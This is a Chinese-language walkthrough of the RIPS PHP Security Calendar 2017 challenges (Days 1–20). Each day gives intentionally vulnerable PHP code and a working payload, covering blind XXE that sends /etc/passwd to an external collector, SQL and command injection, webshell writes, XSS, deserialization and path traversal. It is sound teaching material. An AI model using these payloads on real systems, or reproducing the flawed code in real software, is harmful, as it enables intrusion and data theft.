RIPS 2017 PHP代码安全审计挑战在线测试环境/Writeup


题目原地址: PHP Security Advent Calendar 2017 - https://www.ripstech.com/php-security-calendar-2017/

RIPSTECH PRESENTS PHP SECURITY CALENDAR 是由 RIPS 团队出品的PHP代码安全审计挑战系列题目,RIPSTECH PRESENTS PHP SECURITY CALENDAR 2017 共包含24道题目(Day 1 ~ 24),每道题目将包含一个较新颖的知识点供大家学习。

该教程将使用 VULNSPY 的在线测试环境来演示这系列题目漏洞利用演示。

点击右上角的START TO HACK可自动创建在线实验环境

实验环境源码:https://github.com/vulnspy/ripstech-php-security-calendar-2017


下列内容来自 spoock1024/CTF-Practice/PHP SECURITY CALENDAR 2017/README_CN.md

Day 1 - Wish List

你能从下列代码中发现安全漏洞吗?

class Challenge {
    const UPLOAD_DIRECTORY = './solutions/';
    private $file;
    private $whitelist;

    public function __construct($file) {
        $this->file = $file;
        $this->whitelist = range(1, 24);
    }

    public function __destruct() {
        if (in_array($this->file['name'], $this->whitelist)) {
            move_uploaded_file(
                $this->file['tmp'],
                self::UPLOAD_DIRECTORY . $this->file['name']
            );
        }
    }
}

$challenge = new Challenge($_FILES['solution']);

在代码的 13 行存在任意文件上传漏洞。 在 12 行代码通过 in_array() 来判断文件名是否为整数,可是未将 in_array() 的第三个参数设置为 truein_array()的第三个参数在默认情况下是false,因此 PHP 会尝试将文件名自动转换为整数再进行判断,导致该判断可被绕过。比如使用文件名为 5vulnspy.php 的文件将可以成功通过 in_array($this->file['name'], $this->whitelist) 判断,从而将恶意的 PHP 文件上传到服务器。

如下所示:

$myarray = range(1,24); 
in_array('5vulnspy.php',$myarray);         //true
in_array('5vulnspy.php',$myarray,true);    //false

Day 2 - Twig

你能从下列代码中发现安全漏洞吗?

// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
    private $twig;

    public function __construct() {
        $indexTemplate = '<img ' .
            'src="https://loremflickr.com/320/240">' .
            '<a href="{{link|escape}}">Next slide »</a>';

        // Default twig setup, simulate loading
        // index.html file from disk
        $loader = new Twig\Loader\ArrayLoader([
            'index.html' => $indexTemplate
        ]);
        $this->twig = new Twig\Environment($loader);
    }

    public function getNexSlideUrl() {
        $nextSlide = $_GET['nextSlide'];
        return filter_var($nextSlide, FILTER_VALIDATE_URL);
    }

    public function render() {
        echo $this->twig->render(
            'index.html',
            ['link' => $this->getNexSlideUrl()]
        );
    }
}

(new Template())->render();

在 26 行存在XSS漏洞。该题首先使用 filter_var() 函数来判断了传入参数是否合法的URL(第22行),然后再次使用模板引擎 Twig 自带的方法来转义URL(第10行)。

filter_var的URL过滤非常的弱,只是单纯的从形式上检测并没有检测协议。测试如下:

var_dump(filter_var('vulnspy.com', FILTER_VALIDATE_URL));           # false
var_dump(filter_var('http://vulnspy.com', FILTER_VALIDATE_URL));    # http://vulnspy.com
var_dump(filter_var('xxxx://vulnspy.com', FILTER_VALIDATE_URL));    # xxxx://vulnspy.com
var_dump(filter_var('http://vulnspy.com>', FILTER_VALIDATE_URL));   # false

Twig中的{{link|escape}}中的escape和PHP中的htmlspecialchars($link, ENT_QUOTES, 'UTF-8')类似,所以单引号和双引号等都无法使用。

因为%250a%0a表示换行符,在浏览器中javascript://comment%250aalert(1)会被解释为:

javascript://comment
alert(1)

//在 Javascript 中表示注释符,因此comment会被忽略,执行alert(1)

我们可以使用 Payload :?nextSlide=javascript://comment%250aalert(1) 来绕过过滤。

Day 3 - Snow Flake

你能从下列代码中发现安全漏洞吗?

function __autoload($className) {
    include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
    $controller = new $controllerName($data);
    $controller->render();
} else {
    echo 'There is no page with this name';
}

class HomeController {
    private $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function render() {
        if ($this->data['new']) {
            echo 'controller rendering new response';
        } else {
            echo 'controller rendering old response';
        }
    }
}

在第8行中的class_exists()会检查是否存在对应的类,当调用class_exists()函数时会触发用户定义的__autoload()函数,用于加载找不到的类。关于class_exist()__autoload()的用法,可以参考stackoverflow:class_exists&autoload。 除此之外,还有很多的函数在调用__autoload()的方法,如下:

call_user_func()
call_user_func_array()
class_exists()
class_implements()
class_parents()
class_uses()
get_class_methods()
get_class_vars()
get_parent_class()
interface_exists()
is_a()
is_callable()
is_subclass_of()
method_exists()
property_exists()
spl_autoload_call()
trait_exists()

所以如果我们输入../../../../etc/passwd是,就会调用class_exists(),这样就会触发__autoload(),这样就是一个任意文件包含的漏洞了,这个漏洞在PHP 5.4中已经被修复了。

除了这个问题之外,还存在一个blind xxe的漏洞,由于存在class_exists(),所以我们可以调用PHP的内置函数,并且通过$controller = new $controllerName($data);进行实例化。但是这样又如何造成漏洞呢?这个时候就需要借助与PHP中的SimpleXMLElement类来完成XXE攻击。关于这个攻击手法,可以参见shopware blind xxe我是如何黑掉“Pornhub”来寻求乐趣和赢得10000$的奖金。其中都有讲到利用SimpleXMLElement类实施XXE漏洞。那么在本例中,我们实施blind XXE也是十分的简单。 访问攻击页面:

http://localhost/risp/xxe/test2.php?c=SimpleXMLElement&d=<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://外网地址/evil.dtd">
%remote;
%send;
]>

其中的evil.dtd内容是:

<!ENTITY % all
        "<!ENTITY &#x25; send SYSTEM '外网地址/1.php?file=%file;'>"
        >
        %all;

其中的1.php的地址是:

file_put_contents("result.txt", $_GET['file']);

这样就完成了攻击。

Day 4 - False Beard

你能从下列代码中发现安全漏洞吗?

class Login {
    public function __construct($user, $pass) {
        $this->loginViaXml($user, $pass);
    }

    public function loginViaXml($user, $pass) {
        if (
            (!strpos($user, '<') || !strpos($user, '>')) &&
            (!strpos($pass, '<') || !strpos($pass, '>'))
        ) {
            $format = '<xml><user="%s"/><pass="%s"/></xml>';
            $xml = sprintf($format, $user, $pass);
            $xmlElement = new SimpleXMLElement($xml);
            // Perform the actual login.
            $this->login($xmlElement);
        }
    }
}

new Login($_POST['username'], $_POST['password']);

虽然这道题目出现了XML,但是考察的确实strpos的用法和PHP的自动类型转换的问题。分别说明:

var_dump(strpos('abcd','a'));       # 0
var_dump(strpos('abcd','x'));       # false

但是由于PHP的自动类型转换的关系,0false是相等的,如下:

var_dump(0==false);         # true

所以如果我们传入的usernamepassword的首位字符是<或者是>就可以绕过限制,那么最后的pyaload就是:

username=<"><injected-tag%20property="&password=<"><injected-tag%20property="

最终传入到$this->login($xmlElement)$xmlElement值是<xml><user="<"><injected-tag property=""/><pass="<"><injected-tag property=""/></xml>这样就可以进行注入了。

Day 5 - Postcard

你能从下列代码中发现安全漏洞吗?

class Mailer {
    private function sanitize($email) {
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            return '';
        }

        return escapeshellarg($email);
    }

    public function send($data) {
        if (!isset($data['to'])) {
            $data['to'] = 'none@vsplate.com';
        } else {
            $data['to'] = $this->sanitize($data['to']);
        }

        if (!isset($data['from'])) {
            $data['from'] = 'none@vsplate.com';
        } else {
            $data['from'] = $this->sanitize($data['from']);
        }

        if (!isset($data['subject'])) {
            $data['subject'] = 'No Subject';
        }

        if (!isset($data['message'])) {
            $data['message'] = '';
        }

        mail($data['to'], $data['subject'], $data['message'],
             '', "-f" . $data['from']);
    }
}

$mailer = new Mailer();
$mailer->send($_POST);

这个漏洞其实就是mail()函数的漏洞,我们同样需要通过mail()中的第五个参数以-X的方式写入webshell。但是中途进行了两次过滤,分别是filter_var($email, FILTER_VALIDATE_EMAIL)escapeshellarg($email)。我们接下来分别分析这两个过滤函数。

  • filter_var()函数的过滤过滤,可以参考这篇文章PHP FILTER_VALIDATE_EMAIL,其中说明了none of the special characters in this local part are allowed outside quotation marks,表示所有的特殊符号必须放在双引号中。filter_var问题在于,我们能够在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗filter_val使其认为我们仍然在双引号中,我们就可以绕过检测。如下:
var_dump(filter_var('\'is."\'\ not\ allowed"@vsplate.com',FILTER_VALIDATE_EMAIL));      # true
var_dump(filter_var('"is.\ not\ allowed"@vsplate.com',FILTER_VALIDATE_EMAIL));          # true
var_dump(filter_var('"is.""\ not\ allowed"@vsplate.com',FILTER_VALIDATE_EMAIL));        # false

escapeshellarg,将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号。如下:

var_dump(escapeshellarg("123"));            # '123'
var_dump(escapeshellarg("12'  3"));         # '12'\''  3'

前面说到filter会混淆单双引号,但是escapeshellarg()并不会混淆单双引号,如下:

var_dump(escapeshellarg("'is.\"'\ not\ allowed\"@vsplate.com"));        # ''\''is."'\''\ not\ allowed"@vsplate.com'

关于mail()函数的漏洞,rips的这篇文章Why mail() is dangerous in PHP 说明得十分清除,其中对于escapeshellarg()filter_var()不安全的问题进行了说明。在国内PHP escapeshellarg()+escapeshellcmd() 之殇escapeshellargescapeshellcmd联合使用从而造成的安全问题也进行了说明。这两篇文章都值得收藏。

Day 6 - Frost Pattern

你能从下列代码中发现安全漏洞吗?

class TokenStorage {
    public function performAction($action, $data) {
        switch ($action) {
            case 'create':
                $this->createToken($data);
                break;
            case 'delete':
                $this->clearToken($data);
                break;
            default:
                throw new Exception('Unknown action');
        }
    }

    public function createToken($seed) {
        $token = md5($seed);
        file_put_contents('/tmp/tokens/' . $token, '...data');
    }

    public function clearToken($token) {
        $file = preg_replace("/[^a-z.-_]/", "", $token);
        unlink('/tmp/tokens/' . $file);
    }
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);

本题的问题是在于clearToken()中的正则表达式[^a-z.-_]。按照代码的本意是,是将非a-z.-_全部替换为空。这样../../../目录穿越的方式就无法使用了,因为/会被替换为空。

但是本题的问题在于[^a-z.-_]中的-没有进行转义。如果-没有进行转义,那么-表示一个列表,例如[1-9]表示的数字1到9,但是如果[1\-9]表示就是字母1-9。所以在本题中使用的[^a-z.-_]表示的就是非ascii表中的序号为46至122的字母替换为空。那么此时的../.../就不会被匹配,就可以进行目录穿越,从而造成任意文件删除了。

最后的pyload可以写为:action=delete&data=../../config.php

Day 7 - Bells

你能从下列代码中发现安全漏洞吗?

function getUser($id) {
    global $config, $db;
    if (!is_resource($db)) {
        $db = new MySQLi(
            $config['dbhost'],
            $config['dbuser'],
            $config['dbpass'],
            $config['dbname']
        );
    }
    $sql = "SELECT username FROM users WHERE id = ?";
    $stmt = $db->prepare($sql);
    $stmt->bind_param('i', $id);
    $stmt->bind_result($name);
    $stmt->execute();
    $stmt->fetch();
    return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';

看到了parse_str就知道这是一个变量覆盖的漏洞。同时$_SERVER['HTTP_REFERER']也是可控的,那么就存在变量覆盖的漏洞了。

通过变量覆盖漏洞,我们可以覆盖掉$config,使其在我们构造的数据库中进行查询,这样就能够保证我们能够顺利地进行通过验证。

最后的payload如下:`http://host/?config[dbhost]=10.0.0.5&config[dbuser]=root&config[dbpass]=root&config[dbname]=malicious&id=1

Day 8 - Candle

你能从下列代码中发现安全漏洞吗?

header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
    return preg_replace(
        '/(' . $regex . ')/ei',
        'strtolower("\\1")',
        $value
    );
}

foreach ($_GET as $regex => $value) {
    echo complexStrtolower($regex, $value) . "\n";
}

这道题目也十分的简单,出现了preg_replace('/e','')这种代码,preg_replace/e模式下能够执行代码如下:

preg_replace('/(.*)/e','phpinfo();','xxx');

这样就能够执行phpinfo()。在本题中,我们可以控制regexvalue。但是本题的关键是在于有strtolower(),虽然如此但是strtolower("\\1")使用的是双引号,这样就可以利用php中的"能够执行代码的特性了。最简单的php中双引号的代码执行,如下:

"{${phpinfo()}}";

那么本题的最后的payload可以写为/?.*={${phpinfo()}}

但是这样写是存在问题的,因为在传送请求时,.会被替换为_,所以最后的请求名和参数是:

_*={${phpinfo()}}`

这样就无法进行替换了。那么我们最后的payload就可以变通地写为/?{\${\w*\(\)}}={${phpinfo()}}

Day 9 - Rabbit

你能从下列代码中发现安全漏洞吗?

class LanguageManager
{
    public function loadLanguage()
    {
        $lang = $this->getBrowserLanguage();
        $sanitizedLang = $this->sanitizeLanguage($lang);
        require_once("/lang/$sanitizedLang");
    }

    private function getBrowserLanguage()
    {
        $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
        return $lang;
    }

    private function sanitizeLanguage($language)
    {
        return str_replace('../', '', $language);
    }
}

(new LanguageManager())->loadLanguage();

这个题目是一个比较明显的任意文件包含的漏洞,主要的漏洞是出在str_replace('../', '', $language)。这个包含只是单次替换而不是循环替换,所以这种替换就很容易被绕过。如..././....//。其次$_SERVER['HTTP_ACCEPT_LANGUAGE']这个变量是客户端可控的。

那么最后的请求的payload如下:

Accept-Language:  .//....//....//etc/passwd

Day 10 - Anticipation

你能从下列代码中发现安全漏洞吗?

extract($_POST);

function goAway() {
    error_log("Hacking attempt.");
    header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
    goAway();
}

if (!assert("(int)$pi == 3")) {
    echo "This is not pi.";
} else {
    echo "This might be pi.";
}

虽然这道题目存在extract($_POST);,但并不存在变量覆盖漏洞。 这个题目存在两个关键的问题:

  1. 使用header()进行跳转的时候没有使用exit()或者是die(),导致后续的代码任然可以执行。
  2. assert()能够执行"中的代码,如assert("(int)phpinfo()");

通过这两点就可以造成任意代码执行。payload为pi=phpinfo()。通过burp就可以看到phpinfo的返回内容。

Day 11 - Pumpkin Pie

你能从下列代码中发现安全漏洞吗?

class Template {
    public $cacheFile = '/tmp/cachefile';
    public $template = '<div>Welcome back %s</div>';

    public function __construct($data = null) {
        $data = $this->loadData($data);
        $this->render($data);
    }

    public function loadData($data) {
        if (substr($data, 0, 2) !== 'O:' 
        && !preg_match('/O:\d:\{/', $data)) {
            return unserialize($data);
        }
        return [];
    }

    public function createCache($file = null, $tpl = null) {
        $file = $file ?? $this->cacheFile;
        $tpl = $tpl ?? $this->template;
        file_put_contents($file, $tpl);
    }

    public function render($data) {
        echo sprintf(
            $this->template,
            htmlspecialchars($data['name'])
        );
    }

    public function __destruct() {
        $this->createCache();
    }
}

new Template($_COOKIE['data']);

源代码中12行存在问题,其中的O:\d:\{需要修改为O:\d:

代码中的??是php7中新的语法糖。??的含义是

由于日常使用中存在大量同时使用三元表达式和 isset()的情况, 我们添加了null合并运算符 (??) 这个语法糖。如果变量存在且值不为NULL, 它就会返回自身的值,否则返回它的第二个操作数。

这道题目使用了unserialize()__destruct,是考察反序列化漏洞的典型套路。题目的本意很简单,将页面上的内容<div>Welcome back %s</div>最后输出到/tmp/cachefile文件中。而题目最大的问题是需要绕过:

  1. substr($data, 0, 2) !== 'O:'
  2. preg_match('/O:\d:/', $data)

第一个通过数组的方式就可以绕过,而第二个的绕过则需要利用到PHP中的反序列化的一个BUG,只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。关于这个BUG的具体分析,可以参见php反序列unserialize的一个小特性

知道了漏洞原理,接下来就是构造payload了

class Template {
    public $cacheFile = '/var/www/html/info.php';
    public $template = '<?php phpinfo();';
}
$mytemp = new Template();
$myarray = array('name'=>'test',$mytemp);
$myarray = serialize($myarray);
var_dump($myarray);

解答 得到输出为a:2:{s:4:"name";s:4:"test";i:0;O:8:"Template":2:{s:9:"cacheFile";s:22:"/var/www/html/info.php";s:8:"template";s:16:"<?php phpinfo();";}}

由于需要绕过preg_match('/O:\d:/', $data),需要将0:8变为0:+8,则最后的payload为:

a:2:{s:4:"name";s:4:"test";i:0;O:+8:"Template":2:{s:9:"cacheFile";s:22:"/var/www/html/info.php";s:8:"template";s:16:"<?php phpinfo();";}}

Day 12 - String Lights

你能从下列代码中发现安全漏洞吗?

$sanitized = [];

foreach ($_GET as $key => $value) {
    $sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
    return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&', $queryParts);

echo "<a href='/images/size.php?" .
    htmlentities($query) . "'>link</a>";

看最后的输出,猜测可能是一个XSS的问题。本题目的关键是在于$sanitized[$key] = intval($value);,同时漏洞也是出自于$sanitized[$key] = intval($value);。这行代码主要就是的作用就是传入的$value进行过滤变为intval($value),之后再次经过htmlentities进行过滤拼接到<a>标签中作为/images/size.php的参数。

上述代码的问题在于:

  1. $sanitized[$key] = intval($value)只过滤了value,没有对key进行过滤;
  2. htmlentities默认情况下不会对单引号进行转义。

那么我们的XSS攻击就可以通过在标签<a>中增加一个onclick的点击事件触发。最后的payload如下a%27onclick%3Dalert%281%29%2f%2f=c

Day 13 - Turkey Baster

你能从下列代码中发现安全漏洞吗?

class LoginManager {
    private $em;
    private $user;
    private $password;

    public function __construct($user, $password) {
        $this->em = DoctrineManager::getEntityManager();
        $this->user = $user;
        $this->password = $password;
    }

    public function isValid() {
        $user = $this->sanitizeInput($this->user);
        $pass = $this->sanitizeInput($this->password);

        $queryBuilder = $this->em->createQueryBuilder()
            ->select("COUNT(p)")
            ->from("User", "u")
            ->where("user = '$user' AND password = '$pass'");
        $query = $queryBuilder->getQuery();
        return boolval($query->getSingleScalarResult());
    }

    public function sanitizeInput($input, $length = 20) {
        $input = addslashes($input);
        if (strlen($input) > $length) {
            $input = substr($input, 0, $length);
        }
        return $input;
    }
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
    exit;
}

这是一道典型的用户登录的代码,但是本题目的漏洞和阶段注入的漏洞类似。在进行了addslashes之后进行了截断,在一些情况下就有可能能够获得一个引号。如下:

function sanitizeInput($input, $length = 20) {
    $input = addslashes($input);
    if (strlen($input) > $length) {
        $input = substr($input, 0, $length);
    }
    return $input;
}
$test = "1234567890123456789'";
var_dump(sanitizeInput($test));

最终得到的就是1234567890123456789\,这样就能够逃逸出一个\。在本题中,利用这个逃逸出的单引号,我们就能够绕过验证。 那么我们最终的payload就可以写为如下:

user=1234567890123456789'&passwd=or 1=1#

那么此时进入到数据库查选的SQL语句是select count(p) from user u where user = '1234567890123456789\' AND password = 'or 1=1#'。在此SQL语句中,user值为1234567890123456789\' AND password =。这样就能够保证返回的结果是True,如此就能够顺利地通过验证。

Day 14 - Snowman

你能从下列代码中发现安全漏洞吗?

class Carrot {
    const EXTERNAL_DIRECTORY = '/tmp/';
    private $id;
    private $lost = 0;
    private $bought = 0;

    public function __construct($input) {
        $this->id = rand(1, 1000);

        foreach ($input as $field => $count) {
            $this->$field = $count++;
        }
    }

    public function __destruct() {
        file_put_contents(
            self::EXTERNAL_DIRECTORY . $this->id,
            var_export(get_object_vars($this), true)
        );
    }
}

$carrot = new Carrot($_GET);

这道题目的危害是任意文件写,可以导致getshell。这到题目的问题有:

  1. foreach ($input as $field => $count) {$this->$field = $count++;}存在变量覆盖漏洞;
  2. var_export(get_object_vars($this), true)不会进行1任何的转义。

在说明这个题目之前,先看看php中的++的行为:

$test=123; echo $test++;  # 123

所以,如果变量直接自增,则结果是不会发生变化的。如果在题目中的$count++并不会对结果有任何的改变。同时$this->$field我们可以对Carrot实例的任何属性进行修改。例如我们的payload为id=../../var/www/html/shell.php,最后就能够覆盖到原先的变量的值,最终就能向/var/ww/html/shell.php进行写入了。

第二个问题是如何写入shell。这个问题也十分的简单。通过var_export(get_object_vars($this), true)会获取示例的所有的属性,那么我们就可以构造属性进行写入。例如我们利用PHP中的"能够执行代码的特点,构造如"<?php phpinfo();>",我们的payload如下:

id=../../var/www/html/test/shell.php&t1=1%22%3C%3Fphp%20phpinfo%28%29%3F%3E%224

当程序运行至__destruct时:

  1. self::EXTERNAL_DIRECTORY . $this->id变为/tmp/../../var/www/html/test/shell.php
  2. var_export(get_object_vars($this), true)变为
    array (
    'id' => '../../var/www/html/test/shell.php',
    'lost' => 0,
    'bought' => 0,
    't1' => '1"<?php phpinfo()?>"4',
    )

    当这样就顺利地在test/shell.php下写入了webshell。

其他

本题目的很大问题是在于其中$count++并不会对结果有任何的影响,但是如果是++$count呢?

$test = 123; echo ++$test;      // 124
$test = '123'; echo ++$test;    // 124
$test = '1ab'; echo ++$test;    // '1ac'
$test = 'ab1'; echo ++$test;    // 'ab2'
$test = 'a1b'; echo ++$test;    // 'a1c'
$test =array(2,'name'=>'wyj'); echo ++$test;    //Array123

通过分析发现,在进行++操作时会进行隐式类型转换,如果能够转换成功,则会进行加法操作;如果不能转换成功,则将最后一个字符进行加法操作。

如果本题的代码修改为:

foreach ($input as $field => $count) {
    $this->$field = ++$count;
}

那么我们的payload就可以有以下的方式:

  1. id=../../var/www/html/test/shell.php4&t1=1%22%3C%3Fphp%20phpinfo%28%29%3F%3E%224,使用php4进行自增操作之后变为php5仍然能够执行。
  2. id=../../var/www/html/test/shell.pho&t1=1%22%3C%3Fphp%20phpinfo%28%29%3F%3E%224,pho进过自增操作之后就会变为php

Day 15 - Sleigh Ride

你能从下列代码中发现安全漏洞吗?

class Redirect {
    private $websiteHost = 'www.vulnspy.com';

    private function setHeaders($url) {
        $url = urldecode($url);
        header("Location: $url");
    }

    public function startRedirect($params) {
        $parts = explode('/', $_SERVER['PHP_SELF']);
        $baseFile = end($parts);
        $url = sprintf(
            "%s?%s",
            $baseFile,
            http_build_query($params)
        );
        $this->setHeaders($url);
    }
}

if ($_GET['redirect']) {
    (new Redirect())->startRedirect($_GET['params']);
}

本题目是一个任意路径跳转漏洞,题目本意是跳转至本网站的其他路径但是由于存在漏洞却可以跳转至任意其他的网站。题目的代码意思是取$_SERVER['PHP_SELF']中最后的一个路径与参数中的params值进行拼接,得到最终的跳转路径。

对于拼接得到的URL还使用了$url = urldecode($url);进行解码操作。那么我们就需要对我们的URLwww.vulnspy.com进行二次编码。那么不编码或者是编码一次可以吗?

  1. 如果不编码呢,index.php/http://www.vulnspy.com?redirect=1,那么通过$baseFile = end($parts);得到是www.vulnspy.com,最后拼接的URL是www.vulnspy.com?,这样最终跳转的路径是header('www.vulnspy.com?'),还是在本网站内。所以如果需要跳转至其他的网站就必须带上http.
  2. 如果是一次编码呢?index.php/http%3A%2f%2fwww.vulnspy.com?redirect=1,会出现The requested URL /day15.php/http://www.vulnspy.com was not found on this server.的错误。

关于这两者为什么会存在差异,目前还不是很清楚

进行二次编码之后,index.php/http%253A%252f%252fwww.vulnspy.com?redirect=1,经过$baseFile = end($parts);得到的就是http%3A%2f%2fwww.vulnspy.com。最后进入到$url = urldecode($url);header("Location: $url");,最终跳转的目录就是http://www.vulnspy.com?,这样就可以完成任意网站的跳转了。

Day 16 - Poem

你能从下列代码中发现安全漏洞吗?

class FTP {
    public $sock;

    public function __construct($host, $port, $user, $pass) {
        $this->sock = fsockopen($host, $port);

        $this->login($user, $pass);
        $this->cleanInput();
        $this->mode($_REQUEST['mode']);
        $this->send($_FILES['file']);
    }

    private function cleanInput() {
        array_filter($_GET, 'intval');
        array_filter($_POST, 'intval');
        array_filter($_COOKIE, 'intval');
    }

    public function login($username, $password) {
        fwrite($this->sock, "USER " . $username);
        fwrite($this->sock, "PASS " . $password);
    }

    public function mode($mode) {
        if ($mode == 1 || $mode == 2 || $mode == 3) {
            fputs($this->sock, "MODE $mode");
        }
    }

    public function send($data) {
        fputs($this->sock, $data);
    }
}

new FTP('localhost', 21, 'user', 'password');

这到题目存在两个漏洞,分别是出自于$_REQUEST以及==的问题。首先说明$_REQUEST的问题,根据php手册上面的说明:

由于 $_REQUEST 中的变量通过 GET,POST 和 COOKIE 输入机制传递给脚本文件,因此可以被远程用户篡改而并不可信。

这话是什么意思呢?表示的是$_REQUEST是直接从GET,POST 和 COOKIE中取值,不是他们的引用。即使后续GET,POST 和 COOKIE发生了变化,也不会影响$_REQUEST的结果。如下:

$_GET = array_map('intval', $_GET);
var_dump($_GET);
var_dump($_REQUEST);

访问Uindex.php?t1=1abc 得到的结果如下:

test.php:2:
array (size=1)
  't1' => int 1

test.php:3:
array (size=1)
  't1' => string '1abc' (length=4)

可以看到虽然$_GET发生了变化,但是$_REQUEST仍然是没有变化的。那么在本题中可以看到虽然前面使用了cleanInput()进行过滤,但是后面取值时又从$_REQUEST中取值,那么这也就表示之前的cleanInput()是无用的。

之后的问题是在于mode()函数,其中仅仅只是使用了====的问题是在于进行比较时会进行隐式类型转换,如1=='1ab'就是相等的。那么在本题中我们就可以利用$_REQUEST==的这两个特性造成任意文件删除的操作。最后的payload为:1%0a%0dDELETE%20test.file

Day 17 - Mistletoe

你能从下列代码中发现安全漏洞吗?

class RealSecureLoginManager {
    private $em;
    private $user;
    private $password;

    public function __construct($user, $password) {
        $this->em = DoctrineManager::getEntityManager();
        $this->user = $user;
        $this->password = $password;
    }

    public function isValid() {
        $pass = md5($this->password, true);
        $user = $this->sanitizeInput($this->user);

        $queryBuilder = $this->em->createQueryBuilder()
            ->select("COUNT(p)")
            ->from("User", "u")
            ->where("password = '$pass' AND user = '$user'");
        $query = $queryBuilder->getQuery();
        return boolval($query->getSingleScalarResult());
    }

    public function sanitizeInput($input) {
        return addslashes($input);
    }
}

$auth = new RealSecureLoginManager(
    $_POST['user'],
    $_POST['passwd']
);
if (!$auth->isValid()) {
    exit;
}

这道题目是第13题的升级版本,我们知道在13题中主要是利用了addslashes和字符串截断的方式所造成的\逃逸从而形成的注入。本题最终的目的还是形成SQL注入从而进行任意账户登录。本题的关键问题是在于md5($this->password, true);。php手册中对于flag的说明如下:

如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

以一个例子进行说明:

var_dump(md5('1'));             # c4ca4238a0b923820dcc509a6f75849b
var_dump(md5('1',True));        # ��B8��#��P�ou��

设置了true之后就会和预期的输出有所差异。如果我们能够保证最后经过md5($this->password, true);最后的字符串是\,那么最后的sql语句就是select count(p) from user s where password='xxxxxx\' and user='payload#',此时我们只需要设置好user的值就可以完成注入了。通过fuzz,我们发现md5(128,true)得到的是v�an���l���q��\。这种问题之前在CTF中也偶尔可以见到。

最后我们的payload可以写为passwd=128&user=' or 1%23

Day 18 - Sign

你能从下列代码中发现安全漏洞吗?

class JWT {
    public function verifyToken($data, $signature) {
        $pub = openssl_pkey_get_public("file://pub_key.pem");
        $signature = base64_decode($signature);
        if (openssl_verify($data, $signature, $pub)) {
            $object = json_decode(base64_decode($data));
            $this->loginAsUser($object);
        }
    }
}

(new JWT())->verifyToken($_GET['d'], $_GET['s']);

本题目的问题是在于openssl_verify()的错误使用,根据php手册说明

Returns 1 if the signature is correct, 0 if it is incorrect, and -1 on error

在错误的情况下会返回-1。但是在if判断中得到的结果是True,if判断只有遇到0或者是false返回的才是false。所以如果能够使得openssl_verify()出错返回-1就能够绕过验证。

如果让openssl_verify()出错呢?我们使用一个其他的pub_key.pem来生成datasignature,这样就可以使得openssl_verify()返回-1。在本题中既然已经知道了openssl_verify()返回结果,我们可以使用if(openssl_verify()===1)来避免被绕过。

Day 19 - Birch

你能从下列代码中发现安全漏洞吗?

class ImageViewer {
    private $file;

    function __construct($file) {
        $this->file = "images/$file";
        $this->createThumbnail();
    }

    function createThumbnail() {
        $e = stripcslashes(
            preg_replace(
                '/[^0-9\\\]/',
                '',
                isset($_GET['size']) ? $_GET['size'] : '25'
            )
        );
        system("/usr/bin/convert {$this->file} --resize $e
                ./thumbs/{$this->file}");
    }

    function __toString() {
        return "<a href={$this->file}>
                <img src=./thumbs/{$this->file}></a>";
    }
}

echo (new ImageViewer("image.png"));

本题的关键是在于stripcslashes函数。查看php手册中的说明:

返回反转义后的字符串。可识别类似 C 语言的 \n,\r,... 八进制以及十六进制的描述。

在PHP中还有一个类似的函数stripslashes。查看php手册中的说明:

反引用一个引用字符串。

所以这两者之间的差别是在于stripcslashesstripslashes在于,stripcslashes会转义C语言以及十进制和8进制。通过下面的例子来说明:

var_dump(stripslashes('0\073\163\154\145\145\160\0405\073'));       // 0�73163154145145160�405�73
var_dump(stripcslashes('0\073\163\154\145\145\160\0405\073'));      // 0;sleep 5;

因为使用stripcslashes之后,会将\163就会解析八进制的163,得到的就是s

回到本题中,[^0-9\\\]因为着我们仅仅只能使用数字和\。在这种情况下很难输入命令造成命令执行。但是同时stripcslashes刚好可以解析八进制,而八进制全部都是数字,所以在这种情况下我们还是能够进行命令注入。我们将我们需要的命令转换为八进制进行输出就可以进行注入。

例如命令0;sleep 5;,转换成为八进制就是0\073\163\154\145\145\160\0405\073,那么最终能够执行的命令就是:

/usr/bin/convert images/image.png --resize 0;sleep 5; ./thumbs/image.png

Day 20 - Stocking

你能从下列代码中发现安全漏洞吗?

set_error_handler(function ($no, $str, $file, $line) {
    throw new ErrorException($str, 0, $no, $file, $line);
}, E_ALL);

class ImageLoader
{
    public function getResult($uri)
    {
        if (!filter_var($uri, FILTER_VALIDATE_URL)) {
            return '<p>Please enter valid uri</p>';
        }

        try {
            $image = file_get_contents($uri);
            $path = "./images/" . uniqid() . '.jpg';
            file_put_contents($path, $image);
            if (mime_content_type($path) !== 'image/jpeg') {
                unlink($path);
                return '<p>Only .jpg files allowed</p>';
            }
        } catch (Exception $e) {
            return '<p>There was an error: ' .
                $e->getMessage() . '</p>';
        }

        return '<img src="' . $path . '" width="100"/>';
    }
}

echo (new ImageLoader())->getResult($_GET['img']);

本题目的是问题是在于提供了错误显示,这样就导致可以根据错误信息推断服务器上面的信息,类似于MYSQL中的报错注入。而在本题中则是存在一个SSRF漏洞。分析代码,在代码的最前方有:set_error_handler(function ($no, $str, $file, $line) { throw new ErrorException($str, 0, $no, $file, $line);}, E_ALL);这个就类似于设置如下的代码:error_reporting(E_ALL);ini_set('display_errors', TRUE);ini_set('display_startup_errors', TRUE);,如此就会包含所有的错误信息。

